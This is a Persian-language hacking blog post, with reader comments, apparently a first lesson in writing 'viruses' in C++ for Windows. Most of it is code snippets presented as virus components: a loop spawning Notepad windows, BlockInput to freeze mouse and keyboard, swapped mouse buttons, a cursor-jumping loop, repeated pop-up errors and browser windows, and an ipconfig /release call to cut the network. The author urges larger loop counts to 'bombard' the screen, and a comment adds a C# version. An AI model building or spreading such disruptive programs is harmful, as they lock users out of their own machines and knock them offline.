شروع ویروس نویسی با سی پلاس پلاس :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۲۵ مرداد ۹۷، ۲۰:۳۵ - رموندغغغغغغغغغغغغکمفنثلنوحخ67.ا
    فیک پیج چیه؟

ویژوآل استدیو تون رو استارت کنید و بر روی  New Project کلیک کنید و از صفحه باز شده کشوی Visual C++ را باز کنید و بر روی Win32  کلیک کنید و در نهایت در کادر سمت راستی Win32 Console Application را انتخاب کنید

نام و مسیر برنامه ای که میخوایید بسازید رو تعیین کنید و بر روی Ok کلیک کنید

بعد هم بر روی finish کلیک کنید تا به صفحه کد نویسی روبرو شین

اگه اسم فایلتون اسمی باشه که من انتخاب کردم کدهای زیر رو در صفحه تون میبینید

// Virus32.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"


int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}

خط های سبز رنگ فقط برای توضیح هستن و هیچ عملی رو انجام نمیدن که با دوتا اسلش // شروع میشن

#include "stdafx.h"

اینم همون کتاب خونه است که در سی شارپ با Using شروع میشد

سی پلاس پلاس هم مثل سی شارپ کتابخونه های زیادی داره که هرکدوم کاربرد های خاص خودش رو داره

اکثر ما میدونیم که در اولین قدم برنامه نویسی با چیزی به نام الگوریتم روبرو میشیم

اینجا قرار نیست چیزهای ساده ای مثل الگوریتم رو تکرار کنیم فقط کافیه بدونید

#include ... کتابخونه ها
int _tmain(int argc, _TCHAR* argv[]) شروع بخش اصلی
{
کدها
}

الگوریتم ویروس نویسی مون فعلا فقط همینی هست که میبینید

از کدهای خیلی ساده شروع میکنیم تا برسیم به کدهای خیلی پیشرفته

در این پست برای رفع کوتی چند تا کد تایپ میکنم تا هم بحثمون زیاد سرد نباشه هم یه تستی کرده باشین


همونطور که گفتم ویروس از کدهای کاربردی تشکیل میشه

مثل خط زیر

ShellExecute(NULL, L"open", L"notepad.exe", NULL, NULL, SW_MAXIMIZE);

اینجا دستور اجرا شدن برنامه نوت پد رو در حالت ماکزیمم دادیم

از این خط بیشتر برای نمایش اطلاعات جزئی Info یا Reade me ها در برنامه های کاربردی استفاده میشه

با این کد میشه یه ویروسی به اسم Note Pad Bomber ساخت 

ابتدا کتابخونه زیر رو اضافه کنید

#include <Windows.h>

حالا اگه کد بالا رو به شکل زیر در یه حلقه قرار بدیم

int i;
for (i = 0; i < 10; i++) {
ShellExecute(NULL, L"open", L"notepad.exe", NULL, NULL, SW_MAXIMIZE);
}
return 0;

با اجرا شدن ویروسمون بصورت متوالی نوت پد رو اجرا میکنه

اینجا دستور اجرا شدن نوت پد رو برای ده بار دادیم تا بتونیم راحت تر تستش کنیم ما میتونیم بجای ده از عددهای بزرگتر دیگه ای استفاده کنیم تا صفحه با برنامه نوت پد بمباران بشه


ما میتونیم در ویروسمون از غیر فعال کردن ماوس و کیبورد هم استفاده کنیم
BlockInput(true);
Sleep(6000);
return 0;
برنامه باید با ادمین Run as Administrator  اجرا بشه
اینجا از 6000 استفاده کردیم تا برای 6 ثانیه ماوس و کیبوردمون غیر فعال بشه میتونیم از عدد بزرگتری استفاده کنیم

میتونیم جای دکمه های ماوس رو عوض کنیم
کلیک راست بجای کلیک چپ و برعکس
SwapMouseButton(true);
return 0;
نیازی به سطح ادمین نداره
برای بازگشت به حالت اولیه کافیه بجای true عبارت false رو قرار بدین و برنامه رو دوباره استارت کنید

میتونیم یه ماوس وحشی برای ویروسمون تعریف کنیم
int i, x, y;
for (i = 0; i < 201; i++) {
x = rand() % 1001;
y = rand() % 801;
SetCursorPos(x, y);
Sleep(200);
}
return 0;
نیازی به سطح ادمین نداره
اشاره گر ماوس در هر لحظه در مکان های مختلفی دیده میشه و غیر قابل کنترل میشه
برای غیر فعال کردنش از کلید های ترکیبی Alt + ctrl + delete استفاده کنید تا برین به تسک منیجر و از اونجا غیر فعالش کنید

میتونیم یه صفحه اینترنتی رو بصورت متوالی به نمایش بزاریم
ShellExecute(NULL, L"open", L"http://www.virus32.blog.ir", NULL, NULL, SW_MAXIMIZE);
return 0;
برای تستش خط دوم یعنی return 0 رو ابتدا حذف کنید تا ویروسمون فقط یکبار این صفحه رو نشون بده
میتونیم مثل جریان نوت پد این کد رو درون یه حلقه قرار بدیم یا اینکه ....

میتونیم یه پیام خطا رو بصورت متوالی به کاربر نمایش بدیم
MessageBox(NULL, TEXT("Error loading Virus32 for your system"), TEXT("Error"), MB_OK | MB_ICONEXCLAMATION);
return 0;
این کد هم مثل کد بالا ابتدا برای تست خط دومش رو پاک کنید

کد آخر هم برای قطع کردن اینترنت
system("ipconfig /release");
return 0;


بهتره دوباره یادآوری کنم
بی گدار به آب نزنید ، برای تست کردن این کدها ابتدا خوب دقت کنید ببینید باید چیکار کنید
کدهایی که در این پست نوشتم زیاد خطرناک نیستن به شرطی که جوری که گفته شده تستشون کنید
دقت کنید اگه اشتباه کنید ممکنه به سی پی یو یا رم سیستمون آسیب جدی وارد بشه
در هر صورت اگه یوقت اشتباه کردین و نتونستین جلوی اجرا شدن حلقه ها رو بگیرین سریعاً سیستمتون رو خاموش کنید (رستارت بدین)
دوباره میگم ادمین های این وب هیچ مسئولیتی در قبال پیامد های این آموزش ها نخواهند داشت
در پست های آینده با ویروس های بیشتری آشنا خواهیم شد :)
پیروز باشید

نظر (۶)

سلام دوباره به ویروس جوون و مستر کدر عزیز و بقیه دوستان
ویروس جوون دمت گرم خیلی وقت بود که منتظر پست ویروس نویسی بودم ولی میخواستم ازت خواهش کنم با ما سی شارپ بیشتر کارکنی. من تازه بهش علاقه مند شدم.
خیلی ممنون از وب عالیت
دوستتون دارم
با تشکر
Virus 32 :
سلام عزیز
باشه با سی شارپ هم کار میکنیم
چون قسمت سی پلاس پلاس خالی بود گفتم یه مدت هم درباره این زبان بنویسم دا :)
داداش سلام
داداش من همشونو تونستم با سی شارپ بنویسیم به جز او قسمت ماوس وحشی ، که اونم همین جا به سی شارپ توضیحشو بدی ممنون میشم
Virus 32 :
سلام
ای بابا میخواستیم با سی پلاس پلاس مانور بدیمااااا :)
تو سی شارپ یکم کداش بیشتر میشه
ابتدا کتابخونه زیر رو اضافه کن
using System.Threading;
بعد کدهای زیر رو
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
بعد از کدهای زیر اضافه کن
public partial class Form1 : Form
{
حالا برای فرم لود یا دکمه ات کدهای زیر رو بنویس
int i, x, y;
Random rnd = new Random();
for (i = 0; i < 201;)
{
x = rnd.Next(1001);
y = rnd.Next(801);
SetCursorPos(x, y);
Thread.Sleep(200);
i++;
}
میشه از حلقه های شرطی هم استفاده کرد که ...
یادت باشه برای ویروس بجای 201 از عدد بزرگتری استفاده کنی بهتره

مرسی داداش از راهنماییت
من کدارو این اوجوری نوشتم ریختم تو یه تایمر به نظرت خوبه ؟؟

()Random X = new Random
Cursor.Position=new Point ( X.next(700) , X.next (500 ) ) l


Virus 32 :
آره این جوری خیلی بهتره
Random X = new Random();
Cursor.Position = new Point(X.Next(700), X.Next(500));

بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
salam virus
omidvaram halet top bashe :D in mah kolan vaghtam azade goftam age salah bedoni to blog amoozesh besazam ia to system khodam besazam barat emailesh konam

telegram : ************* virus ino * kon
MR C0D3R :
سلام
ویروس تلگرام نمیاد منم تلگراممو پاک کردم
ای کاش با آی پی خودت کامنت میذاشتی
چون میخواستم نام کاربریتو بگیرم و ادمینت کنم و ....
اما الان چون با آی پی خودت نیومدی بعدا اگه مشکلی پیش بیاد
میفته گردن من ...
با آی پی خودت نام کاربریتو بده
یا اینکه به ایمیلم ارسال کن
تو کد ویروس موس وحشی

مقدار sleep رو کنید 5

بعد تو for بین () بنویسید ;;

اونایی که با gcc ویندوز این کدو کمپایل می کنند کتابخانه های stdafx.h و

targetver.h
رو به lib های gcc تو درایو c اضافه کنند .


MR C0D3R :
مورد یک نیازی نیست و منظورتو از مورد دوم نفهمیدم
اما برای مورد آخر اینکه stdafx یکی از کتابخونه های ویژوال استدیو هستش
یعنی مثلا این کدهارو بخوایم توی یدونه ابزار کد نویسی دیگه استفاده کنیم باید اونو پاکش کنیم
اما بعضی از کدها که توی این پست نوشتیم وقتی تست کردم روی کد بلاکس کار نکرد که همین باعث شد منم بعد از مدت ها ویژوال نصب کنم
و نتونم با اون ترفند کوچیک حذف کردن stdafx این محدودیت رو دور بزنم و ...
پیشنهاد میکنم به جای ابزارای کد نویسی دیگه از ویژوال استدیو استفاده کنین که به مشکل نخورین
سلام
میشه اموزش کامپایل c و c++ به dll بزاری؟ ممنون
MR C0D3R :
سلام
بلد نیستم
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی